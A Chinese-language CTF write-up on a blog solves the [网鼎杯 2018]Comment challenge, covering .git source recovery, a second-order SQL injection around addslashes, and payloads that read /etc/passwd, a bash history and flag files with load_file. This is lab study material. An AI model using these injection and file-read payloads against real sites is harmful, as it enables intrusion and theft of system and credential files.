[CTF]WriteUp第29篇

[网鼎杯 2018]Comment

思路

打开网站发现是一个blog,尝试发布commit发现要先登录
登陆提示账号和密码

一般来说,密码末尾跟数字的居多,我们优先爆破三位数字

我们试试666

解题

做过最恶心的一道题,所有页面加载都需要至少1分钟,等的想死
直接跟WP学习了
参考文献:[网鼎杯 2018]Comment题解,超详细!_网鼎杯2018 comment-CSDN博客

首先dirsearch扫出来.git,dirsearch记得开-t 15 --delay=3因为沟槽的buu的防d
然后git恢复

python .\GitHack.py http://816e6d85-9914-440a-a32a-2a67c561331a.node5.buuoj.cn:81/.git
cd ./dist/816e6d85-9914-440a-a32a-2a67c561331a.node5.buuoj.cn:81
git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

得到write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

发现二次注入,mysql执行查询语句时,addslashes之后的内容读成输入,自然会去除掉\
再从数据库中取出时就会存在二次注入
注入点在这里

$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
		set category = '$category',
			content = '$content',
			bo_id = '$bo_id'";

那么我们只需要设定category就行,但是注意这里是多行的语句
所以需要用多行注释来把中间的注释掉

首先,我们在category中输入想要的东西

',content=(user()),/*

然后提交
在留言页面输入

*/#

回显发现成功注入

这里给我们root权限,可能在暗示文件读取
因为一般来说sql只有sql用户权限
我们试试文件读取

',content=(load_file("/etc/passwd")),/*
*/#

可以看到www这个用户在/home/www下使用了bash
我们可以看看命令

',content=(load_file("/home/www/.bash_history")),/*
*/#

.DS_Store泄露

',content=(load_file("/tmp/html/.DS_Store")),/*
*/#

有很多不可见字符,我们加一个hex函数来传输

',content=(hex(load_file("/tmp/html/.DS_Store"))),/*
*/#

看看flag_8946e1ff1ee3e40f.php

',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
*/#

使用之后发现是假的,真的可能在网站目录那边

',content=(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
*/#

结束了结束了,这坨屎终于完结了

注意

屎屎屎屎屎屎屎屎屎,难受死我了,每个页面都要响应好几分钟😅

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇